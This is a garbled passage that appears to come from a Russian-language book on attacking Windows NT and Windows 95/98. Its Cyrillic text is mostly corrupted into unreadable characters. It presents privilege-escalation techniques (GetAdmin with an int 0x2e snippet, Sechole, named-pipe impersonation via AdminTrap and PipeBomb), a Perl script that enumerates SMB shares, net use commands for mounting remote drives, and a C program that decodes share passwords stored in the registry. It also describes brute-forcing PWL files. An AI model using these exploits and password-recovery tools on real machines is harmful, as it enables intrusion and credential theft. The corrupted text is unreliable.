  ᮮ饭ﬨ  ᯮ 堭 ⥭䨪樨 ( 梨  ),   㯠   MIB 筮 , ⠪ 뢠,  ᮮ⢠ (community name),  㬮砭 public.    MIB Windows NT । 祣 ᮤন ᫥ ଠ:
  ࢨᮢ, 饭  ࢥ,    ﭨ ࢨ
 ᫮ ஫ 襭, ॣ஢  ࢥ
  ࠧ࠭祭 㯠 ( ஢ 짮⥫   ஢ ᮢ)
 祭 ᨩ,   ⠭権 ⮢  ﭨ ᨨ
 祭  ᥩ ࢥ
 祭 ࠧ塞 ᮢ ࢥ,  㪠  ⥩
ଠ  த ⥫쭮 頥 ᠭ樮஢ থ  ⥬       㯭 諥.  ᫥ 砨,  ࢨ finger, ᮮ騩 ⥫쭮    ⨢ 짮⥫, ⠭  稭 ᯥ譮 㤠 ⠪. ⮬,   ⪫砥 ࠬ, ⠭    ᪮ ।. ᪮쪮   ⮩ ଠ樥 諥 ᭠ MIB-   ᨨ! ,  ⫨稥  ࢥ finger,   ⠪-  ⪫!
 ᯮᮡ, ᠭ ,  ⮩   , ࠭ ࠢ ஢    ࠭ 諥 ஭  ⥬.  ⠪騩  㣠, ᪨  饭 㧥,   ⠥    - , ⭮ 設.


   ২  㦨 筨 業 ଠ樨.    <୮ ২> Windows NT ⠪  ᯮᮡ   ᢥ 㬥, ᮤঠ騩 䨤樠 .
⮬,  Windows NT   ।⠢  짮⥫ ᢮ ᮡ⢥ ২.  ଠ쭮 ࠧ⨨ ᮡ⨩,  짮⥫,  騩 ࠢ ,      㦮 ২.    㣠 ২ ⫨ ᥣ  䨪஬ 짮⥫ SID,  諥  ᭨ ( API 㭪樨, 뤠騥 䨪 짮⥫   ). ᫨ 諥  䨪 ᢮ ২  䨪 ২ ,  䠩, 㤠塞 ⢮,   㪨 諥.
祬, ⢮  ২  묨 䨪ࠬ ਢ  ।᪠㥬  ⥬, ⮬ ⠡쭠 ࠡ ᯥ稢   ⮬ 砥,  諥 뢠 ᢮ ২  ᮧ ২ ,  ⭮, .. 筮 ২ ᮧ ࠧ  ᫥ ॣ樨  짮⥫ ⥬.   ॣ樨 짮⥫  ⥭  SID.
 ࠧ,  梨  ।⠢ 쭮 ᭮,    筮 ⭠ ᠬ  ᥡ.
 ᫨    樮 ⥬  訡, 騥 짮⥫ 訢  ࠡ ⥬ ᮢ,  諥 ᬮ   ਢ,  ⮬ ᫥  !  ࠡ  ntoskrnl.exe, ⠭⨭  (sob@cmp.phys.msu.su) ⨫   ,  㭪 "NtAddAtom"  ஫ 祭 㬥, 㪠뢠饣    १⮢ ᯥ譮 ᢮ ࠡ. ᪮ 㭪 "NtAddAtom" 믮 ஬   ਢ System,   ,   㬠  㤠 㬠.  㭪 win32 API "AddAtom", ᮤন 室 ,  ࠭ १ ࠡ "NtAddAtom"  쭮 ६, 㤠  頥 祭 짮⥫.  १ ணࠬ 뢠 0x2E    ।⢥  㭪 ,  ᮪஢ ⮪.
 ਢ ࠣ ணࠬ "GetAdmin", ᠭ ⠭⨭ ,   짮⥫  ࠢ .


 for(i=0;i<0x100;i++)

 {

 sprintf(string,"NT now cracking: pass %d",i);

 if(handle amp; 0xf00){

 stack[1] = (DWORD)pNtGlobalFlag+1;

}

 __asm

 {

 mov eax, callnumber;

 mov edx, stack;

 lea edx,dword ptr [stack]

 int 0x2e;

}

 if(stack[1] - pNtGlobalFlag+1)

 break;




 Microsoft  ᠭ  룫廊 ⠪: <30  1997  ᫠ 쬮  Microsoft,  ⠪  ⠪,  ⠪ . १   稫 ⢥  ᯮ N,   訡,    ணࠬ  ࠡ⠥. ᫠ ணࠬ  www.ntsecurity.net   news  㡥,   -⠪ ࠡ⠥. ᫥ 㡫樨  諮 쬮  ᯮ NN  Microsoft ( , 祬 N)  졮 ᮮ  ᯮ N>.


㣠 訡 (ࠢ,   ࠧ  ,  ਪ ࢨ) 易  ࠢ쭮 ࠡ⪮ ⭮⥫ ⥩ 䠩  ⠫, 㯭 १ ⮪ SMB. ᫨  諥        ⠫  㤠 設,  ᬮ    ⠫, ᯮ  ":\\". ࠢ,  ॡ ᮧ ᢮ ॠ ,  , ⠢塞 Microsoft 믮 ⥫ ஢ન   ⠪ ਣ.
 , ᫨  짮⥫  ࠢ ⫠ ਫ,    㯭 㭪樨 "WriteProcessMemory"  "CreateRemoteThread", 騥  㣮 ᯮ裂 ⥬  ᢮ ᬮ७. ᪮,   ࠢ騩  ⥭樠쭮 諥 ⠪ ࠢ  , ⮬ 室 ᢠ  ᠬ⥫쭮.  ᮦ, ᠭ ⬠ ⠪ ⠪ 室  ࠬ  ,   ⨫ Sechole, ᠭ Prasad Dabak, Sandeep Phadke  Milind Borate,  頥  㭪樨 "OpenProcess" (஢騩 稥 ࠢ ⫠ ਫ । ⨥ )  ⥬,  ⫠묨 㭪ﬨ, 頥 ⥪饣 짮⥫  㯯 ஢.
㦡 ।४ ⠪   訡 ॠ樨, 騥  짮⥫  ࠢ    ଠ ࠡ ࢥ, ⮬   ஡ ⠭  ⮬ .


४ (redirector) ᯥ稢 ।⢠ ⥢ ⢨  ।⠢   䠩,   (Named Pipe), ⮢ 騪 (Maillots)  ਭࠬ, ᯮ  㤠 設.
 Windows NT ।४ ॠ  ࠩ 䠩 ⥬, 㯭  ⥬ १ ன⢮ "\Device\Redirector", ஥ ᮧ ன  ⮪ ࠭ᯮ⭮ ஢,  ࠡ  ᮥﬨ 筮 ⠪,   䠩.  ⭮  易 ।४ 室 ४⭠ ࠡ⪠  ⠭ ࠧ뢮 ᮥ.
  ।⠢ ᮡ 堭 ⥢ ।   㠫쭮 , ࠭饬 ⠢ ᮮ饭. (⮢ 騪  ࠭ ⠢ ᮮ饭  -ࠢ⥫  砥 㢥 稫   ᮮ饭  ).  ॠ   ᥢ䠩 ⥬ NPFS (Named Pipe File System),  ࠭  ᮮ饭    뤠   .  ᮮ饭 ।⠢   "\pipe\pipaname"   ࠡ  ⥬  㭪ﬨ,   몭 䠩 (ਬ, CreateFile, ReadFile, WriteFile).
   (   饣 , ᫨ ⠪  㦥 )  㭪 CreateNamedPipe.    ६  ࠡ    ⮬. ⮬,  ᮧ , ࢥ ࠧ  뢠 ᪮쪮 ஢ .  㬥樨 Microsoft ⢥ত,     祭 ⥬ ᮥ     ஬ ,  ᯥਬ 뢠, -  ᥣ 砥   ࠭ ᮧ ( ᢮) .
  㦥 饣    , ᨬ   ਢ  ࠢ 㯠. ⥬ ਬ     ࠢ ࠢ  .    ᮧ ࠭   묨, । , 騩 ⠭ ᮥ, 㤥 ᫠   .  㭪樨 API    㧭,   ࠡ뢠 ,    ⠭ ᮥ!
     ꥪ  ᫨⥫ ⥬  墠뢠 室騩 䨪.  ⮣,   㭠᫥ ࠢ ! , த襬  , 筮 맢 㭪 ImpersonateNamedPipeClient, 믮 ⢮७ (Impersonate) . -,  㭪 뢠  ࠧ  ⭮ -  ਢ ⮪, 믮饣 ⢮७.
ࠡ稪,  ६ ᨫ 饭 ⥬, ।: ⮪, ࠡ뢠饬 祭, ६  ࠢ , ⠭襣 ᮥ.  ਢ   ॢ ਢ ࢥ ( 筮  ⠪  ),  ந室 祣 ᭮.   ⮫쪮 짮⥫  㯯 guest ( Everyone) ᮧ   ⮪,   祭 ਢ஢  ( !)  㢥 ᢮ ࠢ ( 쬠 ⥫쭮)!
- ਪ ணࠬ ᯮ  ࠩ । ,  , 諥    뢠  室.  ⥭ᨢ  ᯮ  ⥬ 㤠 ஢, ⮬,   易 ஧ 墠 ࠢ ! 祬 ⥬   ﭨ 㦨 থ ⥫. ᫨, 筮,   ⠭ ᮢ ⢨,   ᥡ ,  ࠭  ⮪  ୠ. , ਬ, ᮧ  짮⥫ (㯯) 猪 㤥 祭 ஬,    蠥 諥 믮  樨    (᪠, ஢ 䠩).
祬,   ⢥ ࠭祭: ⢮  짮⥫,  ⮪,   ᫥ 祭 ਢ  ।.  ந室 ⮬,   Windows NT   砥 થ 㯠 -த⥫,   થ 㯠 ⮪, 뢠饣 CreateProcess. ⮬, 諥,  ᬮ    ணࠬ, ॡ饩 ࠢ .      㦭 - 筮 ᯮ짮 ᮮ⢥騬 ⥬묨 㭪ﬨ (  㯭,  ,  ॡ  ᯮ ࠢ ).
 ணࠬ ॠ ⠪ ⠪, ᮧ  ਭ, ᮢ⭮  ஬ ﭨ  ࣥ . ணࠬ AdminTrap (http://hackzone.ru/articles/AdmTrap.zip) ᮧ ᪨    ⥬    祭 . ᫨ 祭 ࠢ  ந室 ᯥ譮,  ⢥ 樨 ࠡᯮᮡ ணࠬ, ᮧ  짮⥫  㯯 <>,   ।饭 ᠭ樮஢ 㯠  ᮧ ⭠    . 祢, ࠧࠡ稪  ⠢ । ᮡ 楫 থ  㦨 ⥬,  ६  稥 ⠪ 梨.


  䨫⢮,  㤥, ᫨  ଠ   㪨 諥,   墠  筮  砫 모 ணࠬ஢    孮⭮ ࠧ  win32 API.    堪,  ⥫ ࠢ ணࠬ AdminTrap,  ࠧ஢ ⭮ ?
⮬ 㬥⭮ ਢ ᫮ ࠧࠡ稪 ணࠬ: <筮,  堪  ᬮ   ᫥ (  ᫥) ஢. ,  뢠 ,  堪 筮    ⥫쭮.     뫮,  㦭   쬠  졮 ⪫  ஢ -  ᯮ>
⥫쭮 孨᪮ 筥, - ᪮ ⥬ ࢨ ࠭ ᮧ ᪮쪮 ஢ , , ᪮॥ ᥣ,        ( ᠬ ,   ⥬  ⮪ ६ ࠡ ஢?). ⮬, 室   騥  ࠡ⮩  ஢ ࢥ,     ᮧ  .
 ⠪  ! ⥬ ࢨ  Windows NT  ࠭稢 ᨬ쭮 ⢠ ᮧ ஢ ,   ,  ࠢ, ࠡ뢠 ⤥ ⮪ (.. ந室 ᪮, ୮  ६ UNIX, 饯 -ࠡ稪    । 祭).  ⮪     ॡ ண ⢠ ⨢ ,  ᫨ 諥 㬠  ᪮筮 横 ⠭     ᮥ, ⨢     墠!
    ᭮ , - Windows NT ন 㠫    室 㬥 㦠  㦭 ࠭  . 諥 䨧᪨  ᬮ ࠡ  ᥬ ⠭묨 ᮥﬨ ६ (-   , 祬  ࢥ 㤥)  ⨢ ⮪  ࡠ  ந⥫쭮   ᪨  䠩 窨. ,  ।  ⢮ ᢮   ᪥.
  ᮧ  ⥬ ࠧ頥 室騩  室饩   ⪠稢  (non-paged pool). ⮬, ᨬ쭮 ⢮ ஢  । ꥬ ⪠稢 , 뤥 .  ࠧ,  ,  ஢ ᮧ  ஢ , ⠪   ࠡ ⥬, ⮡ࠢ  ⥬ ᮢ  ᢮ ⨢ , ⠢    ࠭楩   .
 ⠪ 뢠  ਭ ॠ ⥬  ᮧ ᫥ ⢠ ஢ ⥬ :
<:㧪  ,  ஬ 믮 -ࢥ, ⠡쭮 ন  ஢ 100% ( ⮬  90% ६  㦨    ਮ⮬ High),  ꥬ ᢮ ⨢  ⮣  㬥蠥  ᪮  1  3   ᥪ㭤.   䨧᪠,  㠫쭠   ९,  稭  䠩 㠫쭮 ,  ᪮ ᪮쪮 㬥蠥.  १  ⠪  ⠭ ࠪ᪨ ࠡᯮᮡ ( Explorer ᮢ뢠 ᪮쪮 ),  १ 5-10  ॣ㦥 樮 ⥬ ⨣ ⠪ ⥯,   Shutdown 믮 3-6 ᮢ>
  ⠪, 饭 PipeBomb, ਭ  ﭨ,  ࣥ  ᮧ  ணࠬ ॠ,   , ⨢  : http://hackzone.ru/articles/PipeBomb.zip
 ᫮ ஢, ஢ AdminTrap  ண ஢ ⢨  ⥬ PipeBomb,  㤠 墠  ᮥ: winreg, ࠢ饥 㤠 㯮  ॥,  spoolss, ⢥饥  㤠 ࠢ ਭ஬.   ᪫祭,  㤠 墠  㣨 ᮥ,  ⮬ ᫥ 㦥, 믮騥 ⥬  ।⢥  . ਬ,  lsass,  LANMAN ᯮ  ।    짮⥫   - 祭 ஫  ६ ᥠ ⥭䨪樨,  堭 㤠 맮 楤 (RCP) ᯮ  lsarpc.
 ⠪ ᯥ譮 㭪樮  ।  Windows NT 4.0,  ᥬ ⠭묨 Service Pack  Windows 2000,   <> ᥡ   ࠡ祩 ⠭樨,   ࢥ.  ⢨   쭮 , ⠪  Internet, ᪮ ᭮  ਪ SMB-⮪,    ॠ  ࠭ᯮ⭮ ⮪ TCP. ⨢묨 ।⢠ ᨫ쭮 ४ Internet-䨪, ⠭ 䨫, ᥪ騩  , ᮤঠ騥  SMB,  ⠪  ᨫ쭠 ⨢ 諥, 室  쭮 .
ଠ  Microsoft ࠢ  ஡ ᫥ 室 Windows 2000, ⨢ 2  2000   <Service Control Manager Named Pipe Impersonation>,   , ⨢   http://www.microsoft.com/Downloads/Release.asp?ReleaseID=23432.
 梨    -  Microsoft Windows 2000 Professional  Microsoft Windows 2000 Server  Microsoft Windows 2000 Advanced Server, ⮬ ய   ࣭ ⠪. ஡  ⮬    孨᪮ ⪥ Microsoft Security Bulletin (MS00-053).
  ⢨ ࠭祭  ⢮ ᮧ ꥪ⮢  NT ᥬ.  ⥭ ਬ ⠪饩 ணࠬ,   ᪮筮 横 ᮧ ஬ ⢮ .   , ⢥ ⥬, 뢠 (  ᢥ ࠭   砥), ,   ⥬,   ᮧ  .  ࠡ  ,  <ਡ> ,    ࠡ ⥬ ⠭ , ⮬   ⮣ ॡ 맢   ,   <襭 >,    ᮧ 뫮 ! ⮬, ⠢ ⮯ <>  Reset  뤥    ய⠭. , Microsoft 訫 ஡ <⮤ > -    ᮧ ࠧ  ᫥  ⥬,   ⮡ࠦ  ࠭,     뫮 室,  맮   ⮫쪮  ਡ 㦥 饣 ,   ⠢ 㯭   ᪮ 樨.
 ஥ ६   ணࠬ,    ᪮筮 横 ஦ ⮪ ( ⢮ ⮪, ਭ ,  ᨬ   ਢ,  ࠭祭). ⮪  ᯮᮡ <>  ୮ ६  ⠫   ࠢ ( 訬) ਮ⮬ ࠪ᪨ <>. 祬, ᫨  諥  ࠢ 믮   ਮ⮬  । [171] (Normal),    <ਡ> । ணࠬ ஬ , , ,  ⮬᪨. ᫨  ந  ࢥ,   ਫ  ࠫ묨  ⥫⢠ .
⮬,     ⭥  ࠧ ।, ,  ࢠ ॠ 㤠 墠,     ࠭ ࠢ ஢.    ࠭,    㦠  쥧   ⥬ ᭮. ॥ , 㦠 猪.    , ⮡  㦨!   ,   ?





  ६  । 饥 -  ᨫ  몮. ⮡  ᪠, ⠢  ᯨ: । 饥?   । 誠  ᮡ⢥ ?
㣠檨 " "









⠪  Windows 95, Windows 98


O  ⮩ :
O 䨫 짮⥫
O 塞 
O 堭 ⥭䨪樨 Windows 98
O  ஢ ஫, ⠪  ஫
O  ஢ 䠩 PWL,  祭 Internet-஫





᭮  ॣ
㤠, 㤠    
  쬥   ५
  ᠥ,  㬠 ᮩ
 ࣥ. <⢠ >

樮 ⥬ Window 95     Windows 98  饥 ६ ⠭   ஢,     짮⥫  ॡ   Windows NT (  Windows 2000). ,    ९⢨ 㦠: 誨. ,  ᠬ  誨, ᠭ   MS-DOS  ࠭ ᨩ Windows.       <>  뢠 ࠡᯮᮡ묨  Windows NT,    ਫﬨ   ⠬ -뢮.  ௮⨢ 짮⥫      ⢥ (,  த  ஬  ਭ⠬ DOOM ᢮⢥ ᥬ),  ࠥ ஬ ஫  롮 樮 ⥬  <譥 >.
 ᠬ Windows NT  ⭥  襭 ॡ   ᠬ, ⠪, ਬ, ᫨  設 Clarion-300\64 MB RAM Windows 95  <⠥>,  Windows NT 4.0  뢠 㤥 ந⥫쭮,   饬  ࠡ  Windows 2000 ᯥ稢,  ࠩ , 128-256  ⨢  [172]! 設⢮ 짮⥫   ,  룮  ᯥ稢 Windows NT  ࠤ 祣 ⮨ ⪠뢠  襩 Windows 98.
஥ ⥢ প  ᯮ짮 Windows 95 (Windows 98)  ࠡ     㭨樮 .  ࠢ,  ଠ ᯮ  ⢥ .  ࢥ   । [173],   ᯮ  ࠭ .
  ࠢ  NT  Windows 95 (Windows 98) ⥯ 饭     諥  -  . ⨬ ⮩ 樮 ⥬     -    㬥  ࠭. ⤥쭮 ᪫祭 ।⠢ ஢ ,  祭  ,  ஭   ஬ 䨧᪨ .  ᮦ,  짮⥫ ७०⥫쭮 ⭮  ᮡ⢥ ᭮, ⭮, , ᪠, -    ᭥. ⮬, ப ࠭ 㦤, 类    <ਢ 祪>,  <ࠢ쭠 ⮩>  諥  ࠢ,    । ९.  㤥 , 祬   ⠪.
 ⫨稥  ᬮ७  樮 ⥬, Windows 95 (Windows 98)  ॡ ⥭䨪樨 짮⥫ । 砫 ࠡ. ,  <⠭ ஫  室  ⥬> ,  ࠥ  ஫,   UNIX  Windows NT.  ᨫ ᢮ ⥪ Windows 95 (Windows 98) - 짮⥫᪠ ⥬.   짮⥫  ᥬ ⠫,     ஢ ਢ - । Windows 95 (Windows 98)  ࠢ [174].  䠩 ⥬,  ⥬ 맮  ন ਡ⮢      ।⠢   짮⥫,   ࠢ 㯠. ⮬,  쥧 ࠡ⮪ ,   <ॣ樨  ⥬> ᫥!
    ஫, 訢騩  室  Windows? 室    < > ਢ   䨫 - 㭨 䨣権  짮⥫,   ࠡ ᨬ  ⠫.  䨫  ࠭ ᮤন ࠡ祣 ⮫,  ,    < 㬥>, ஫  室  Internet   㣮.   Windows  頥 ᮤন  < 㬥>  짮⥫  㣮,   ᯥ稢 ᨬ 䨣権.   짮⥫    ᥬ 䠩,   䨫 ᢮ <ᥤ>     宧舘  <>   ᥡ .
᫨   室  ⥬   ஫,   <⬥>, 㧨 䨣  㬮砭.  ࠧ,  㯠   諥  㦥 ஫. ⮬, Windows 95 (Windows 98)  ᯮ짮  ,  ⮫쪮   ,  । 짮⥫   ।⥫     ࠭ 祣 業 [175]   ᮡ  祣.
 ⭮襭 쭮  ⠪ ॡ  믮,    ਥ  ⥢ 設.     ஡ ᭮  ᯨ뢠  ࣠樮 .   ,  쭠  ⠥ ஢  Internet,  饭 । 쭮 㤭   筮  ஡  .  ⮨   Internet ( 㤠   ?),  ஧ ⠪ ⥫쭮 ⠥.  ७⮢  諥  쭮  室, ⮬ 室 ᬮ ⨪ ᭮.
襩 ஧ ࣠ 譨 짮⥫,  騥 ﭭ ᮥ  Internet.   ,   㬥蠥 ᭮,   ࠭ . 諥  ᫨  㧫  ଠ樨, ᮤঠ騩   ࠢ   쬠,  ᫥ ᢮    ,  IRC     ICQ.    ᪠஢ IP-ᮢ  । ᪠ 饭 ஢.
 ⠪   襭 ଠ쭮 ࠡ 樮 ⥬ (<訢>)  ஢ (䨪) ࠭   㬥⮢. ,     㣮 (୮    뢠),  ⮣  饭    樮 ⥬, ( Windows 98 쬠 娫 ⨢⮨ 㣠 뢥    [176]).  ⠪ ⠪ 㤠  㩤,   筮 ।, - ᫥ १㧪  ஬   ࠡ. ,    ࠭ 㬥,    ⥫  ⨬   ᮤন (᫨ ᠭ ந    䠩  ),  ஧ 㭨⮦  ࠧ襭 ਢ⭮ ଠ樨 ࠧ ⭥.
᫨  ਭ   ࠧࠧ ணࠬ , ᪠ ᠬ 짮⥫ [177],  㤠 㯠  䠩     ⮫쪮  ⮬ 砥, ᫨  প ࠧ塞 (<७>) ᮢ.  㬮砭  ,       祭 ⠭ 㦡 <  䠩  ਭࠬ ⥩ Microsoft> (< ࠢ> \ <> \ <> \ <㦡>).
 㦡 ᯮ  ⮫쪮   ,  ⠪  室   ⠭ אַ 쭮 ᮥ - ୮ ᯮᮡ 裡 ⥡㪠  ஬.   ࠧ塞 ᠬ ⢫  ਪ ⮪ SMB, ࠡ饣   ࠭ᯮ⭮ ⮪, ᮢ⨬  䥩ᮬ NetBIOS, ਬ NBT (NetBIOS over TCP/IP). ⮬, 設  ⠭ 㦡 㯠  䠩  ਭࠬ,  祭  Internet ⠭ 業 ࢥ஬, 㦨騬 ⮢!


⮪ NBT   짮⥫  । ᢮   ஫   ᢥ  㤠 .  ⭮ -  ࠡ   짮⥫, 㯯   㣮.
 ⮣ 室 ᯮ짮 ⨫⮩ nbtstat.exe, ⠢塞   Windows.
 ⮣, ⮡ ஢    㧫 㦡 㯠  䠩  ਭࠬ 筮  ⠭   ᮥ  139 . ᫨ ᮥ ⠭ ᯥ譮, , 㦡 .
ணࠬ, ਢ  ( ᪥  ᮤন  䠩 "/SRC/139.pl"), ࠡ⠥  ࠧ  ⠪ .  訢  짮⥫   IP  㧫 , ᫨ 139  , 뤠 ᯨ᮪ ࠧ塞 ᮢ.


 use Socket;

 print "   IP  㤠 :";

 $server=<>;

 $yes="";

 chomp $server;

 socket(NNTP, PF_INET(), SOCK_STREAM(), getprotobyname("tcp") || 6);

 if (connect(NNTP, sockaddr_in(139,inet_aton($server))))

 {

 open(FX,"|net VIEW \\\\$server");

 $yes=";

 close(FX);

}

 print "㦡 㯠  䠩  ਭࠬ $yes ⠭";

  ࠡ  룫拉 ⠪ ( ⮬   짮⥫):

    IP  㤠 : 192.168.55.1

 騥   \\192.168.55.1





 SERVER



 ⥢   ᯮ짮  ਩





 ____________________

 ASMLIB 

 ATACR 

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  믮 ᯥ譮.





 㦡 㯠  䠩  ਭࠬ ⠭






 ப "open("|net VIEW \\\\$server")" ந室 맮 譥 ⨫ net.exe,  ⠢   Windows. 㬥, ᯮ짮    ᠬ⥫쭮.    ࠧ塞 ᮢ    ⮩  net.exe, ।  ᫥騥 ࠬ: <net USE \\( 㧫)\  "஫" /USER:" 짮⥫">. ਬ, 祭 ᪠  㧫 192.168.55.1 룫廊 ਡ⥫쭮 ⠪ ࠧ:
 net use \\192.168.55.1\C "12345" /USER:"KPNC"
᫨   ᯥ譮,   "dir \\192.168.55.1\C" 뤠 ᮤন ᪠  㤠 .  ࠧ ⢫ ஢  䨪 㬥⮢.  ᮦ,   ਫ ন UNC , ⮬ 室  㤠 ,   ᪨ .  ⮣ 筮  ࠢ 襩 誨   <⥢ 㦥>   ᯫ뢠饬   㭪 < ⥢ >. ⥬ 室    㯭 㪢  㪠   . ᫨ ⠭  <⠭  室  ⥬>,  Windows ।ਬ  祭  㤠    室  ⥬ (   -  ᨬ  ⠫ ⮥).




祭 ⥢ ᪠



ᮡ   Windows 95 (Windows 98) ⨢ 諥,     ࠭஢ ᭮ ᮢ ? 樮 ⥬   ࠧ ஫  ⥭  䨪樨 ᮤন ᪮  .   ⥭䨪樨 Windows95 (Windows 98) 뫠   NT-, ⠪  LM-, ⮬ 諥   ⪮ ६  ஫, 稢 ᠭ樮஢   ⥬. (஡  ⮬ ᠭ   <⠪  Windows NT>) ,  ⫨稥  Windows NT,  Windows 95 (Windows 98) 宦,    쭮 ᯮᮡ  ᯮ짮 LM-襩.   ᫨  ⠪ ᯮᮡ  ⢮,    ஢  ⮩ 樮 ⥬.  Windows 95 (Windows 98) ᨬ쭠  ஫ ࠭祭 ᥬ ᨬ, 祬   ய 㪢  ࠧ. ⮬, 諥   ஫   ਥ ६.
 ࠧ, ⥣᪨  ⨬  , ࠢ塞 Windows 95 (Windows 98), ।⠢ ᮢ   ᠬ, ᮡ ᫨  室  Internet. 祬, ᫨ 諥    ,  ஬ ⠭ Windows ( ࠢ,   ),   ⥫쭮 . ( 짮⥫ ࠧ ⥭ ᮤন ᪠   ॡ ஫).
஫   <७>  ࠭  ⪥ ॥ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurentVersion\Network\LanMan\  ࠬ "Parn1Erc" ࠭ ஢ ஫   㯠,  "Parn2Erc" -  㯠 ⮫쪮  ⥭.  ᭥ ⬠ ஢  室 ਡ  㤮 ᥬ஢ . 筮 ᫥ ᪮쪮    ஢ ஫ ( ᢮ 設 ⠪   ⢨  㤠).
뢠,  <஢> ᢮  ⮢ 樨 XOR  ᨬ ஫   箬,    <᪮ਢ>  ஫ ஢.  १ ⮣ ( ࠩ ,  Windows 98) ࠧ ᫥ ᫥⥫쭮: {0x35; 0x9A; 0x4D; 0xA6; 0x53; 0xA9; 0xD4; 0x6A} [178].
 筮 ଥ    ᥫ ।⠢ ᮡ த ᬥ 㫥  , ⮬ 뢠 襥 ﭨ  㥬 ⥪.   ᫥ -  ஢ ஫,      㣨 ⮤, ஬  ॡ [179].      設, ⮬   諥, ᫥⥫쭮,  ਣ ஫   㤠.
,  樨 ᥣ ᪠, ਢ ࠣ ॥   "\\SERVER" ( ਫ   -᪥  ᮤন  䠩 "/log/lm.reg"):


 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan]



 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ASMLIB]

 "Flags"=dword:00000102

 "Type"=dword:00000000

 "Path"="E:\\ASMLIB"

 "Parm2enc"=hex:

 "Parm1enc"=hex:

 "Remark"="



 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\C]

 "Flags"=dword:00000101

 "Type"=dword:00000000

 "Path"="C:\\"

 "Parm2enc"=hex: 04,a8,7e,92,66

 "Parm1enc"=hex:

 "Remark"="



 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\D]

 "Flags"=dword:00000191

 "Type"=dword:00000000

 "Path"="D:\\"

 "Parm2enc"=hex:

 "Parm1enc"=hex:

 "Remark"="  饣 㯠"



 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\BLEAK]

 "Flags"=dword:00000193

 "Type"=dword:00000000

 "Path"="F:\\BLEAK"

 "Parm2enc"=hex:

 "Parm1enc"=hex:

 "Remark"="



 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan\ATACR]

 "Flags"=dword:00000191

 "Type"=dword:00000000

 "Path"="J:\\ATACR"

 "Parm2enc"=hex:

 "Parm1enc"=hex:

 "Remark"="




  ⠭ -   (㯭  㪠  ࠬ "Path"),  ᪫祭 ᪠ "C"  饭 ஫   ⥭,    ( ⮬   ࠬ "Parm1enc"  "Param2enc").   㯠   "C" ॡ ஫,   ஢  룫廊 ⠪: "0x4 0xA8 0x7E 0x92 0x66".   ᯮᮡ  ஢  ணࠬ, ਢ  ( ਫ    ᪥  ᯮ  䠩 "/SRC/win9x.xor.c"):


 #include <stdio.h>



 main(int argc, char **argv)

 {

 int a=1,tmp;

 char xore=0x35;

 for (;a<argc;a++)

 {

 sscanf(argv[a],"%x", amp;tmp);

 printf("%c",tmp ^ xore);

 __asm

 {

 rol xore, 7;

}

}

 printf("\n");



}




ਬ ᯮ짮 ணࠬ ᮤন  䠩 "/SRC/win9x.xor.bat" - 室 ।   ப ஢ ஫  ⭠筮 ଥ, ⤥ ᫠   㣠 ஡, ᪠ ⠪: win9x.xor.exe 0x5 0xAA 0x7D 0x96 0x63 0x99 0xE4 0x5A.   ⢥ ணࠬ  ஢ ஫ (  砥 "0000000").
筮,    ॥ 㤠 ,   ࠢ  ⥭ ᪠, 묨 ।⢠ Windows . ⮬, 室 ᯮ짮 ⨫,    ⫨稥  ⠭⭮ < ॥> 﫠  㪠뢠   䠩 ॥  㬥  ࠡ  ࠭묨 ﬨ,  뢠  ॥ 楫. ( 設⢥ 砥 -  ய᪭ ᯮᮡ 㭨樮    ᪮쪮  ॥ 뢠 १砩 㤭⥫쭮,     ).
। <譨> 짮⥫ ப ࠭ 㦤,      ᮤন  ᥪ⭮ ଠ樨, , ᫥⥫쭮, 諥 ஢ 祣.  ᠬ  , 設⢮ 짮⥫  室  Internet   ஫ ,  ᯮ   ࠭  ᮡ⢥ 䨫.
饭 㦮 ஫  諥 짮 Internet  㦮 ,   ஫    ᬥ. ⮬, ᯮᮡ ࠭ ஫  Windows ।⠢   ⮫쪮  諥,    짮⥫. ᮡ  樮 ⥬  ?  ᮦ,  । ࠧ,  ⬥ ஢ ஫ (  ࠭  ஢ ) ࠧࠡ稪 ⨫  訡, 騥  室 ஫  ਥ ६.
஫ -ࠧ ࠭  ᨬ  ᨨ Windows (Windows 95, Windows 95 OSR2), ⮬     㤥 ᬮ७ ⤥쭮.
஫  室  Internet (᫨ ⮫쪮     ࠧ ), ࠭  PWL 䠩, 祬  짮⥫ ᮢ   䠩, .. ஫ 짮⥫ "KPNC" ࠭  䠩 "KPNC.PWL", ᯮ  ⠫ Windows. ন PWL 䠩 ஢ ந 祭  ஫,   짮⥫ 室  ⥬.
 Windows 95  ஢    룫廊 ᫥騬 ࠧ: ஫,   ॣ樨  짮⥫  ⥬, ਢ  孥 ॣ  ।⢮ -㭪樨 ᢮稢   ᫮ (32 ), ᯮ㥬  ⢥   樨    RC4 [180]. 祭   ஢뢠 ᮤন 䠩 PWL.
⥬,  室 짮⥫  ⥬,   ஫  ࠧ ᢮稢   ᫮,  ᭮ ண  , ᯮ  ஢ ᮤন PWL. । , ᮤঠ ,   ࠭  짮⥫. ᫨,  १ ஢  ᮢ   䠩,  ஫ ⠥ ⨭  .
 ࠧ,   - 祭,  ᠬ ஫   ࠭   ᫮ ࠢ쭮 ॠ樨 ਯ⮠⬠, ஢ ᮤন PWL 䠩 .  ᠬ  ,  ந室  ⠪.
誮 ⪠   (32 )  諥 ᯮ짮 ਢ ॡ஬. ᪮  RC4 筮   ᪠ 䥪⨢ ॠ, 㦥     Pentium  ⨬஢ ணࠬ ᯮᮡ  ᪮ ॡ  ᪮쪨 ⥭  祩  ᥪ㭤  . ⮬, ਡ⥫쭮 ६,  ஥ ࠭஢ 㤠 ஢ PWL 䠩 ࠢ: 232
/ 500 000 = 8 590 ᥪ㭤      ᮢ [181].  ।  ॡ   ६,   -  . 㣨 ᫮ - ࠪ᪨ .
